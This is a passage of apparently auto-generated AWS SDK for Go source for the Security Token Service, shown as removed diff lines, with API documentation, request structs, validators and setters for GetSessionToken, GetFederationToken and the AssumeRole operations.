information, see IAM Best Practices (http://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html) -// in the IAM User Guide. -// -// The temporary security credentials that are obtained by using the long-term -// credentials of an IAM user are valid for the specified duration, from 900 -// seconds (15 minutes) up to a maximium of 129600 seconds (36 hours). The default -// is 43200 seconds (12 hours). Temporary credentials that are obtained by using -// AWS root account credentials have a maximum duration of 3600 seconds (1 hour). -// -// The temporary security credentials created by GetFederationToken can be used -// to make API calls to any AWS service with the following exceptions: -// -// * You cannot use these credentials to call any IAM APIs. -// -// * You cannot call any STS APIs except GetCallerIdentity. -// -// Permissions -// -// The permissions for the temporary security credentials returned by GetFederationToken -// are determined by a combination of the following: -// -// * The policy or policies that are attached to the IAM user whose credentials -// are used to call GetFederationToken. -// -// * The policy that is passed as a parameter in the call. -// -// The passed policy is attached to the temporary security credentials that -// result from the GetFederationToken API call--that is, to the federated user. -// When the federated user makes an AWS request, AWS evaluates the policy attached -// to the federated user in combination with the policy or policies attached -// to the IAM user whose credentials were used to call GetFederationToken. AWS -// allows the federated user's request only when both the federated user and -// the IAM user are explicitly allowed to perform the requested action. The -// passed policy cannot grant more permissions than those that are defined in -// the IAM user policy. -// -// A typical use case is that the permissions of the IAM user whose credentials -// are used to call GetFederationToken are designed to allow access to all the -// actions and resources that any federated user will need. Then, for individual -// users, you pass a policy to the operation that scopes down the permissions -// to a level that's appropriate to that individual user, using a policy that -// allows only a subset of permissions that are granted to the IAM user. -// -// If you do not pass a policy, the resulting temporary security credentials -// have no effective permissions. The only exception is when the temporary security -// credentials are used to access a resource that has a resource-based policy -// that specifically allows the federated user to access the resource. -// -// For more information about how permissions work, see Permissions for GetFederationToken -// (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_control-access_getfederationtoken.html). -// For information about using GetFederationToken to create temporary security -// credentials, see GetFederationToken—Federation Through a Custom Identity -// Broker (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html#api_getfederationtoken). -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for AWS Security Token Service's -// API operation GetFederationToken for usage and error information. -// -// Returned Error Codes: -// * ErrCodeMalformedPolicyDocumentException "MalformedPolicyDocument" -// The request was rejected because the policy document was malformed. The error -// message describes the specific error. -// -// * ErrCodePackedPolicyTooLargeException "PackedPolicyTooLarge" -// The request was rejected because the policy document was too large. The error -// message describes how big the policy document is, in packed form, as a percentage -// of what the API allows. -// -// * ErrCodeRegionDisabledException "RegionDisabledException" -// STS is not activated in the requested region for the account that is being -// asked to generate credentials. The account administrator must use the IAM -// console to activate STS in that region. For more information, see Activating -// and Deactivating AWS STS in an AWS Region (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_enable-regions.html) -// in the IAM User Guide. -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/sts-2011-06-15/GetFederationToken -func (c *STS) GetFederationToken(input *GetFederationTokenInput) (*GetFederationTokenOutput, error) { - req, out := c.GetFederationTokenRequest(input) - return out, req.Send() -} - -// GetFederationTokenWithContext is the same as GetFederationToken with the addition of -// the ability to pass a context and additional request options. -// -// See GetFederationToken for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *STS) GetFederationTokenWithContext(ctx aws.Context, input *GetFederationTokenInput, opts ...request.Option) (*GetFederationTokenOutput, error) { - req, out := c.GetFederationTokenRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetSessionToken = "GetSessionToken" - -// GetSessionTokenRequest generates a "aws/request.Request" representing the -// client's request for the GetSessionToken operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetSessionToken for more information on using the GetSessionToken -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetSessionTokenRequest method. -// req, resp := client.GetSessionTokenRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/sts-2011-06-15/GetSessionToken -func (c *STS) GetSessionTokenRequest(input *GetSessionTokenInput) (req *request.Request, output *GetSessionTokenOutput) { - op := &request.Operation{ - Name: opGetSessionToken, - HTTPMethod: "POST", - HTTPPath: "/", - } - - if input == nil { - input = &GetSessionTokenInput{} - } - - output = &GetSessionTokenOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetSessionToken API operation for AWS Security Token Service. -// -// Returns a set of temporary credentials for an AWS account or IAM user. The -// credentials consist of an access key ID, a secret access key, and a security -// token. Typically, you use GetSessionToken if you want to use MFA to protect -// programmatic calls to specific AWS APIs like Amazon EC2 StopInstances. MFA-enabled -// IAM users would need to call GetSessionToken and submit an MFA code that -// is associated with their MFA device. Using the temporary security credentials -// that are returned from the call, IAM users can then make programmatic calls -// to APIs that require MFA authentication. If you do not supply a correct MFA -// code, then the API returns an access denied error. For a comparison of GetSessionToken -// with the other APIs that produce temporary credentials, see Requesting Temporary -// Security Credentials (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html) -// and Comparing the AWS STS APIs (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html#stsapi_comparison) -// in the IAM User Guide. -// -// The GetSessionToken action must be called by using the long-term AWS security -// credentials of the AWS account or an IAM user. Credentials that are created -// by IAM users are valid for the duration that you specify, from 900 seconds -// (15 minutes) up to a maximum of 129600 seconds (36 hours), with a default -// of 43200 seconds (12 hours); credentials that are created by using account -// credentials can range from 900 seconds (15 minutes) up to a maximum of 3600 -// seconds (1 hour), with a default of 1 hour. -// -// The temporary security credentials created by GetSessionToken can be used -// to make API calls to any AWS service with the following exceptions: -// -// * You cannot call any IAM APIs unless MFA authentication information is -// included in the request. -// -// * You cannot call any STS API exceptAssumeRole or GetCallerIdentity. -// -// We recommend that you do not call GetSessionToken with root account credentials. -// Instead, follow our best practices (http://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#create-iam-users) -// by creating one or more IAM users, giving them the necessary permissions, -// and using IAM users for everyday interaction with AWS. -// -// The permissions associated with the temporary security credentials returned -// by GetSessionToken are based on the permissions associated with account or -// IAM user whose credentials are used to call the action. If GetSessionToken -// is called using root account credentials, the temporary credentials have -// root account permissions. Similarly, if GetSessionToken is called using the -// credentials of an IAM user, the temporary credentials have the same permissions -// as the IAM user. -// -// For more information about using GetSessionToken to create temporary credentials, -// go to Temporary Credentials for Users in Untrusted Environments (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html#api_getsessiontoken) -// in the IAM User Guide. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for AWS Security Token Service's -// API operation GetSessionToken for usage and error information. -// -// Returned Error Codes: -// * ErrCodeRegionDisabledException "RegionDisabledException" -// STS is not activated in the requested region for the account that is being -// asked to generate credentials. The account administrator must use the IAM -// console to activate STS in that region. For more information, see Activating -// and Deactivating AWS STS in an AWS Region (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_enable-regions.html) -// in the IAM User Guide. -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/sts-2011-06-15/GetSessionToken -func (c *STS) GetSessionToken(input *GetSessionTokenInput) (*GetSessionTokenOutput, error) { - req, out := c.GetSessionTokenRequest(input) - return out, req.Send() -} - -// GetSessionTokenWithContext is the same as GetSessionToken with the addition of -// the ability to pass a context and additional request options. -// -// See GetSessionToken for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *STS) GetSessionTokenWithContext(ctx aws.Context, input *GetSessionTokenInput, opts ...request.Option) (*GetSessionTokenOutput, error) { - req, out := c.GetSessionTokenRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -type AssumeRoleInput struct { - _ struct{} `type:"structure"` - - // The duration, in seconds, of the role session. The value can range from 900 - // seconds (15 minutes) up to the maximum session duration setting for the role. - // This setting can have a value from 1 hour to 12 hours. If you specify a value - // higher than this setting, the operation fails. For example, if you specify - // a session duration of 12 hours, but your administrator set the maximum session - // duration to 6 hours, your operation fails. To learn how to view the maximum - // value for your role, see View the Maximum Session Duration Setting for a - // Role (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use.html#id_roles_use_view-role-max-session) - // in the IAM User Guide. - // - // By default, the value is set to 3600 seconds. - // - // The DurationSeconds parameter is separate from the duration of a console - // session that you might request using the returned credentials. The request - // to the federation endpoint for a console sign-in token takes a SessionDuration - // parameter that specifies the maximum length of the console session. For more - // information, see Creating a URL that Enables Federated Users to Access the - // AWS Management Console (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_enable-console-custom-url.html) - // in the IAM User Guide. - DurationSeconds *int64 `min:"900" type:"integer"` - - // A unique identifier that is used by third parties when assuming roles in - // their customers' accounts. For each role that the third party can assume, - // they should instruct their customers to ensure the role's trust policy checks - // for the external ID that the third party generated. Each time the third party - // assumes the role, they should pass the customer's external ID. The external - // ID is useful in order to help third parties bind a role to the customer who - // created it. For more information about the external ID, see How to Use an - // External ID When Granting Access to Your AWS Resources to a Third Party (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-user_externalid.html) - // in the IAM User Guide. - // - // The regex used to validated this parameter is a string of characters consisting - // of upper- and lower-case alphanumeric characters with no spaces. You can - // also include underscores or any of the following characters: =,.@:/- - ExternalId *string `min:"2" type:"string"` - - // An IAM policy in JSON format. - // - // This parameter is optional. If you pass a policy, the temporary security - // credentials that are returned by the operation have the permissions that - // are allowed by both (the intersection of) the access policy of the role that - // is being assumed, and the policy that you pass. This gives you a way to further - // restrict the permissions for the resulting temporary security credentials. - // You cannot use the passed policy to grant permissions that are in excess - // of those allowed by the access policy of the role that is being assumed. - // For more information, see Permissions for AssumeRole, AssumeRoleWithSAML, - // and AssumeRoleWithWebIdentity (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_control-access_assumerole.html) - // in the IAM User Guide. - // - // The format for this parameter, as described by its regex pattern, is a string - // of characters up to 2048 characters in length. The characters can be any - // ASCII character from the space character to the end of the valid character - // list (\u0020-\u00FF). It can also include the tab (\u0009), linefeed (\u000A), - // and carriage return (\u000D) characters. - // - // The policy plain text must be 2048 bytes or shorter. However, an internal - // conversion compresses it into a packed binary format with a separate limit. - // The PackedPolicySize response element indicates by percentage how close to - // the upper size limit the policy is, with 100% equaling the maximum allowed - // size. - Policy *string `min:"1" type:"string"` - - // The Amazon Resource Name (ARN) of the role to assume. - // - // RoleArn is a required field - RoleArn *string `min:"20" type:"string" required:"true"` - - // An identifier for the assumed role session. - // - // Use the role session name to uniquely identify a session when the same role - // is assumed by different principals or for different reasons. In cross-account - // scenarios, the role session name is visible to, and can be logged by the - // account that owns the role. The role session name is also used in the ARN - // of the assumed role principal. This means that subsequent cross-account API - // requests using the temporary security credentials will expose the role session - // name to the external account in their CloudTrail logs. - // - // The regex used to validate this parameter is a string of characters consisting - // of upper- and lower-case alphanumeric characters with no spaces. You can - // also include underscores or any of the following characters: =,.@- - // - // RoleSessionName is a required field - RoleSessionName *string `min:"2" type:"string" required:"true"` - - // The identification number of the MFA device that is associated with the user - // who is making the AssumeRole call. Specify this value if the trust policy - // of the role being assumed includes a condition that requires MFA authentication. - // The value is either the serial number for a hardware device (such as GAHT12345678) - // or an Amazon Resource Name (ARN) for a virtual device (such as arn:aws:iam::123456789012:mfa/user). - // - // The regex used to validate this parameter is a string of characters consisting - // of upper- and lower-case alphanumeric characters with no spaces. You can - // also include underscores or any of the following characters: =,.@- - SerialNumber *string `min:"9" type:"string"` - - // The value provided by the MFA device, if the trust policy of the role being - // assumed requires MFA (that is, if the policy includes a condition that tests - // for MFA). If the role being assumed requires MFA and if the TokenCode value - // is missing or expired, the AssumeRole call returns an "access denied" error. - // - // The format for this parameter, as described by its regex pattern, is a sequence - // of six numeric digits. - TokenCode *string `min:"6" type:"string"` -} - -// String returns the string representation -func (s AssumeRoleInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s AssumeRoleInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *AssumeRoleInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "AssumeRoleInput"} - if s.DurationSeconds != nil && *s.DurationSeconds < 900 { - invalidParams.Add(request.NewErrParamMinValue("DurationSeconds", 900)) - } - if s.ExternalId != nil && len(*s.ExternalId) < 2 { - invalidParams.Add(request.NewErrParamMinLen("ExternalId", 2)) - } - if s.Policy != nil && len(*s.Policy) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Policy", 1)) - } - if s.RoleArn == nil { - invalidParams.Add(request.NewErrParamRequired("RoleArn")) - } - if s.RoleArn != nil && len(*s.RoleArn) < 20 { - invalidParams.Add(request.NewErrParamMinLen("RoleArn", 20)) - } - if s.RoleSessionName == nil { - invalidParams.Add(request.NewErrParamRequired("RoleSessionName")) - } - if s.RoleSessionName != nil && len(*s.RoleSessionName) < 2 { - invalidParams.Add(request.NewErrParamMinLen("RoleSessionName", 2)) - } - if s.SerialNumber != nil && len(*s.SerialNumber) < 9 { - invalidParams.Add(request.NewErrParamMinLen("SerialNumber", 9)) - } - if s.TokenCode != nil && len(*s.TokenCode) < 6 { - invalidParams.Add(request.NewErrParamMinLen("TokenCode", 6)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetDurationSeconds sets the DurationSeconds field's value. -func (s *AssumeRoleInput) SetDurationSeconds(v int64) *AssumeRoleInput { - s.DurationSeconds = &v - return s -} - -// SetExternalId sets the ExternalId field's value. -func (s *AssumeRoleInput) SetExternalId(v string) *AssumeRoleInput { - s.ExternalId = &v - return s -} - -// SetPolicy sets the Policy field's value. -func (s *AssumeRoleInput) SetPolicy(v string) *AssumeRoleInput { - s.Policy = &v - return s -} - -// SetRoleArn sets the RoleArn field's value. -func (s *AssumeRoleInput) SetRoleArn(v string) *AssumeRoleInput { - s.RoleArn = &v - return s -} - -// SetRoleSessionName sets the RoleSessionName field's value. -func (s *AssumeRoleInput) SetRoleSessionName(v string) *AssumeRoleInput { - s.RoleSessionName = &v - return s -} - -// SetSerialNumber sets the SerialNumber field's value. -func (s *AssumeRoleInput) SetSerialNumber(v string) *AssumeRoleInput { - s.SerialNumber = &v - return s -} - -// SetTokenCode sets the TokenCode field's value. -func (s *AssumeRoleInput) SetTokenCode(v string) *AssumeRoleInput { - s.TokenCode = &v - return s -} - -// Contains the response to a successful AssumeRole request, including temporary -// AWS credentials that can be used to make AWS requests. -type AssumeRoleOutput struct { - _ struct{} `type:"structure"` - - // The Amazon Resource Name (ARN) and the assumed role ID, which are identifiers - // that you can use to refer to the resulting temporary security credentials. - // For example, you can reference these credentials as a principal in a resource-based - // policy by using the ARN or assumed role ID. The ARN and ID include the RoleSessionName - // that you specified when you called AssumeRole. - AssumedRoleUser *AssumedRoleUser `type:"structure"` - - // The temporary security credentials, which include an access key ID, a secret - // access key, and a security (or session) token. - // - // Note: The size of the security token that STS APIs return is not fixed. We - // strongly recommend that you make no assumptions about the maximum size. As - // of this writing, the typical size is less than 4096 bytes, but that can vary. - // Also, future updates to AWS might require larger sizes. - Credentials *Credentials `type:"structure"` - - // A percentage value that indicates the size of the policy in packed form. - // The service rejects any policy with a packed size greater than 100 percent, - // which means the policy exceeded the allowed space. - PackedPolicySize *int64 `type:"integer"` -} - -// String returns the string representation -func (s AssumeRoleOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s AssumeRoleOutput) GoString() string { - return s.String() -} - -// SetAssumedRoleUser sets the AssumedRoleUser field's value. -func (s *AssumeRoleOutput) SetAssumedRoleUser(v *AssumedRoleUser) *AssumeRoleOutput { - s.AssumedRoleUser = v - return s -} - -// SetCredentials sets the Credentials field's value. -func (s *AssumeRoleOutput) SetCredentials(v *Credentials) *AssumeRoleOutput { - s.Credentials = v - return s -} - -// SetPackedPolicySize sets the PackedPolicySize field's value. -func (s *AssumeRoleOutput) SetPackedPolicySize(v int64) *AssumeRoleOutput { - s.PackedPolicySize = &v - return s -} - -type AssumeRoleWithSAMLInput struct { - _ struct{} `type:"structure"` - - // The duration, in seconds, of the role session. Your role session lasts for - // the duration that you specify for the DurationSeconds parameter, or until - // the time specified in the SAML authentication response's SessionNotOnOrAfter - // value, whichever is shorter. You can provide a DurationSeconds value from - // 900 seconds (15 minutes) up to the maximum session duration setting for the - // role. This setting can have a value from 1 hour to 12 hours. If you specify - // a value higher than this setting, the operation fails. For example, if you - // specify a session duration of 12 hours, but your administrator set the maximum - // session duration to 6 hours, your operation fails. To learn how to view the - // maximum value for your role, see View the Maximum Session Duration Setting - // for a Role (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use.html#id_roles_use_view-role-max-session) - // in the IAM User Guide. - // - // By default, the value is set to 3600 seconds. - // - // The DurationSeconds parameter is separate from the duration of a console - // session that you might request using the returned credentials. The request - // to the federation endpoint for a console sign-in token takes a SessionDuration - // parameter that specifies the maximum length of the console session. For more - // information, see Creating a URL that Enables Federated Users to Access the - // AWS Management Console (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_enable-console-custom-url.html) - // in the IAM User Guide. - DurationSeconds *int64 `min:"900" type:"integer"` - - // An IAM policy in JSON format. - // - // The policy parameter is optional. If you pass a policy, the temporary security - // credentials that are returned by the operation have the permissions that - // are allowed by both the access policy of the role that is being assumed, - // and the policy that you pass. This gives you a way to further restrict the - // permissions for the resulting temporary security credentials. You cannot - // use the passed policy to grant permissions that are in excess of those allowed - // by the access policy of the role that is being assumed. For more information, - // Permissions for AssumeRole, AssumeRoleWithSAML, and AssumeRoleWithWebIdentity - // (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_control-access_assumerole.html) - // in the IAM User Guide. - // - // The format for this parameter, as described by its regex pattern, is a string - // of characters up to 2048 characters in length. The characters can be any - // ASCII character from the space character to the end of the valid character - // list (\u0020-\u00FF). It can also include the tab (\u0009), linefeed (\u000A), - // and carriage return (\u000D) characters. - // - // The policy plain text must be 2048 bytes or shorter. However, an internal - // conversion compresses it into a packed binary format with a separate limit. - // The PackedPolicySize response element indicates by percentage how close to - // the upper size limit the policy is, with 100% equaling the maximum allowed - // size. - Policy *string `min:"1" type:"string"` - - // The Amazon Resource Name (ARN) of the SAML provider in IAM that describes - // the IdP. - // - // PrincipalArn is a required field - PrincipalArn *string `min:"20" type:"string" required:"true"` - - // The Amazon Resource Name (ARN) of the role that the caller is assuming. - // - // RoleArn is a required field - RoleArn *string `min:"20" type:"string" required:"true"` - - // The base-64 encoded SAML authentication response provided by the IdP. - // - // For more information, see Configuring a Relying Party and Adding Claims (http://docs.aws.amazon.com/IAM/latest/UserGuide/create-role-saml-IdP-tasks.html) - // in the Using IAM guide. - // - // SAMLAssertion is a required field - SAMLAssertion *string `min:"4" type:"string" required:"true"` -} - -// String returns the string representation -func (s AssumeRoleWithSAMLInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s AssumeRoleWithSAMLInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *AssumeRoleWithSAMLInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "AssumeRoleWithSAMLInput"} - if s.DurationSeconds != nil && *s.DurationSeconds < 900 { - invalidParams.Add(request.NewErrParamMinValue("DurationSeconds", 900)) - } - if s.Policy != nil && len(*s.Policy) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Policy", 1)) - } - if s.PrincipalArn == nil { - invalidParams.Add(request.NewErrParamRequired("PrincipalArn")) - } - if s.PrincipalArn != nil && len(*s.PrincipalArn) < 20 { - invalidParams.Add(request.NewErrParamMinLen("PrincipalArn", 20)) - } - if s.RoleArn == nil { - invalidParams.Add(request.NewErrParamRequired("RoleArn")) - } - if s.RoleArn != nil && len(*s.RoleArn) < 20 { - invalidParams.Add(request.NewErrParamMinLen("RoleArn", 20)) - } - if s.SAMLAssertion == nil { - invalidParams.Add(request.NewErrParamRequired("SAMLAssertion")) - } - if s.SAMLAssertion != nil && len(*s.SAMLAssertion) < 4 { - invalidParams.Add(request.NewErrParamMinLen("SAMLAssertion", 4)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetDurationSeconds sets the DurationSeconds field's value. -func (s *AssumeRoleWithSAMLInput) SetDurationSeconds(v int64) *AssumeRoleWithSAMLInput { - s.DurationSeconds = &v - return s -} - -// SetPolicy sets the Policy field's value. -func (s *AssumeRoleWithSAMLInput) SetPolicy(v string) *AssumeRoleWithSAMLInput { - s.Policy = &v - return s -} - -// SetPrincipalArn sets the PrincipalArn field's value. -func (s *AssumeRoleWithSAMLInput) SetPrincipalArn(v string) *AssumeRoleWithSAMLInput { - s.PrincipalArn = &v - return s -} - -// SetRoleArn sets the RoleArn field's value. -func (s *AssumeRoleWithSAMLInput) SetRoleArn(v string) *AssumeRoleWithSAMLInput { - s.RoleArn = &v - return s -} - -// SetSAMLAssertion sets the SAMLAssertion field's value. -func (s *AssumeRoleWithSAMLInput) SetSAMLAssertion(v string) *AssumeRoleWithSAMLInput { - s.SAMLAssertion = &v - return s -} - -// Contains the response to a successful AssumeRoleWithSAML request, including -// temporary AWS credentials that can be used to make AWS requests. -type AssumeRoleWithSAMLOutput struct { - _ struct{} `type:"structure"` - - // The identifiers for the temporary security credentials that the operation - // returns. - AssumedRoleUser *AssumedRoleUser `type:"structure"` - - // The value of the Recipient attribute of the SubjectConfirmationData element - // of the SAML assertion. - Audience *string `type:"string"` - - // The temporary security credentials, which include an access key ID, a secret - // access key, and a security (or session) token. - // - // Note: The size of the security token that STS APIs return is not fixed. We - // strongly recommend that you make no assumptions about the maximum size. As - // of this writing, the typical size is less than 4096 bytes, but that can vary. - // Also, future updates to AWS might require larger sizes. - Credentials *Credentials `type:"structure"` - - // The value of the Issuer element of the SAML assertion. - Issuer *string `type:"string"` - - // A hash value based on the concatenation of the Issuer response value, the - // AWS account ID, and the friendly name (the last part of the ARN) of the SAML - // provider in IAM. The combination of NameQualifier and Subject can be used - // to uniquely identify a federated user. - // - // The following pseudocode shows how the hash value is calculated: - // - // BASE64 ( SHA1 ( "https://example.com/saml" + "123456789012" + "/MySAMLIdP" - // ) ) - NameQualifier *string `type:"string"` - - // A percentage value that indicates the size of the policy in packed form. - // The service rejects any policy with a packed size greater than 100 percent, - // which means the policy exceeded the allowed space. - PackedPolicySize *int64 `type:"integer"` - - // The value of the NameID element in the Subject element of the SAML assertion. - Subject *string `type:"string"` - - // The format of the name ID, as defined by the Format attribute in the NameID - // element of the SAML assertion. Typical examples of the format are transient - // or persistent. - // - // If the format includes the prefix urn:oasis:names:tc:SAML:2.0:nameid-format, - // that prefix is removed. For example, urn:oasis:names:tc:SAML:2.0:nameid-format:transient - // is returned as transient. If the format includes any other prefix, the format - // is returned with no modifications. - SubjectType *string `type:"string"` -} - -// String returns the string representation -func (s AssumeRoleWithSAMLOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s AssumeRoleWithSAMLOutput) GoString() string { - return s.String() -} - -// SetAssumedRoleUser sets the AssumedRoleUser field's value. -func (s *AssumeRoleWithSAMLOutput) SetAssumedRoleUser(v *AssumedRoleUser) *AssumeRoleWithSAMLOutput { - s.AssumedRoleUser = v - return s -} - -// SetAudience sets the Audience field's value. -func (s *AssumeRoleWithSAMLOutput) SetAudience(v string) *AssumeRoleWithSAMLOutput { - s.Audience = &v - return s -} - -// SetCredentials sets the Credentials field's value. -func (s *AssumeRoleWithSAMLOutput) SetCredentials(v *Credentials) *AssumeRoleWithSAMLOutput { - s.Credentials = v - return s -} - -// SetIssuer sets the Issuer field's value. -func (s *AssumeRoleWithSAMLOutput) SetIssuer(v string) *AssumeRoleWithSAMLOutput { - s.Issuer = &v - return s -} - -// SetNameQualifier sets the NameQualifier field's value. -func (s *AssumeRoleWithSAMLOutput) SetNameQualifier(v string) *AssumeRoleWithSAMLOutput { - s.NameQualifier = &v - return s -} - -// SetPackedPolicySize sets the PackedPolicySize field's value. -func (s *AssumeRoleWithSAMLOutput) SetPackedPolicySize(v int64) *AssumeRoleWithSAMLOutput { - s.PackedPolicySize = &v - return s -} - -// SetSubject sets the Subject field's value. -func (s *AssumeRoleWithSAMLOutput) SetSubject(v string) *AssumeRoleWithSAMLOutput { - s.Subject = &v - return s -} - -// SetSubjectType sets the SubjectType field's value. -func (s *AssumeRoleWithSAMLOutput) SetSubjectType(v string) *AssumeRoleWithSAMLOutput { - s.SubjectType = &v - return s -} - -type AssumeRoleWithWebIdentityInput struct { - _ struct{} `type:"structure"` - - // The duration, in seconds, of the role session. The value can range from 900 - // seconds (15 minutes) up to the maximum session duration setting for the role. - // This setting can have a value from 1 hour to 12 hours. If you specify a value - // higher than this setting, the operation fails. For example, if you specify - // a session duration of 12 hours, but your administrator set the maximum session - // duration to 6 hours, your operation fails. To learn how to view the maximum - // value for your role, see View the Maximum Session Duration Setting for a - // Role (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use.html#id_roles_use_view-role-max-session) - // in the IAM User Guide. - // - // By default, the value is set to 3600 seconds. - // - // The DurationSeconds parameter is separate from the duration of a console - // session that you might request using the returned credentials. The request - // to the federation endpoint for a console sign-in token takes a SessionDuration - // parameter that specifies the maximum length of the console session. For more - // information, see Creating a URL that Enables Federated Users to Access the - // AWS Management Console (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_enable-console-custom-url.html) - // in the IAM User Guide. - DurationSeconds *int64 `min:"900" type:"integer"` - - // An IAM policy in JSON format. - // - // The policy parameter is optional. If you pass a policy, the temporary security - // credentials that are returned by the operation have the permissions that - // are allowed by both the access policy of the role that is being assumed, - // and the policy that you pass. This gives you a way to further restrict the - // permissions for the resulting temporary security credentials. You cannot - // use the passed policy to grant permissions that are in excess of those allowed - // by the access policy of the role that is being assumed. For more information, - // see Permissions for AssumeRoleWithWebIdentity (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_control-access_assumerole.html) - // in the IAM User Guide. - // - // The format for this parameter, as described by its regex pattern, is a string - // of characters up to 2048 characters in length. The characters can be any - // ASCII character from the space character to the end of the valid character - // list (\u0020-\u00FF). It can also include the tab (\u0009), linefeed (\u000A), - // and carriage return (\u000D) characters. - // - // The policy plain text must be 2048 bytes or shorter. However, an internal - // conversion compresses it into a packed binary format with a separate limit. - // The PackedPolicySize response element indicates by percentage how close to - // the upper size limit the policy is, with 100% equaling the maximum allowed - // size. - Policy *string `min:"1" type:"string"` - - // The fully qualified host component of the domain name of the identity provider. - // - // Specify this value only for OAuth 2.0 access tokens. Currently www.amazon.com - // and graph.facebook.com are the only supported identity providers for OAuth - // 2.0 access tokens. Do not include URL schemes and port numbers. - // - // Do not specify this value for OpenID Connect ID tokens. - ProviderId *string `min:"4" type:"string"` - - // The Amazon Resource Name (ARN) of the role that the caller is assuming. - // - // RoleArn is a required field - RoleArn *string `min:"20" type:"string" required:"true"` - - // An identifier for the assumed role session. Typically, you pass the name - // or identifier that is associated with the user who is using your application. - // That way, the temporary security credentials that your application will use - // are associated with that user. This session name is included as part of the - // ARN and assumed role ID in the AssumedRoleUser response element. - // - // The regex used to validate this parameter is a string of characters consisting - // of upper- and lower-case alphanumeric characters with no spaces. You can - // also include underscores or any of the following characters: =,.@- - // - // RoleSessionName is a required field - RoleSessionName *string `min:"2" type:"string" required:"true"` - - // The OAuth 2.0 access token or OpenID Connect ID token that is provided by - // the identity provider. Your application must get this token by authenticating - // the user who is using your application with a web identity provider before - // the application makes an AssumeRoleWithWebIdentity call. - // - // WebIdentityToken is a required field - WebIdentityToken *string `min:"4" type:"string" required:"true"` -} - -// String returns the string representation -func (s AssumeRoleWithWebIdentityInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s AssumeRoleWithWebIdentityInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *AssumeRoleWithWebIdentityInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "AssumeRoleWithWebIdentityInput"} - if s.DurationSeconds != nil && *s.DurationSeconds < 900 { - invalidParams.Add(request.NewErrParamMinValue("DurationSeconds", 900)) - } - if s.Policy != nil && len(*s.Policy) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Policy", 1)) - } - if s.ProviderId != nil && len(*s.ProviderId) < 4 { - invalidParams.Add(request.NewErrParamMinLen("ProviderId", 4)) - } - if s.RoleArn == nil { - invalidParams.Add(request.NewErrParamRequired("RoleArn")) - } - if s.RoleArn != nil && len(*s.RoleArn) < 20 { - invalidParams.Add(request.NewErrParamMinLen("RoleArn", 20)) - } - if s.RoleSessionName == nil { - invalidParams.Add(request.NewErrParamRequired("RoleSessionName")) - } - if s.RoleSessionName != nil && len(*s.RoleSessionName) < 2 { - invalidParams.Add(request.NewErrParamMinLen("RoleSessionName", 2)) - } - if s.WebIdentityToken == nil { - invalidParams.Add(request.NewErrParamRequired("WebIdentityToken")) - } - if s.WebIdentityToken != nil && len(*s.WebIdentityToken) < 4 { - invalidParams.Add(request.NewErrParamMinLen("WebIdentityToken", 4)) - } - - if 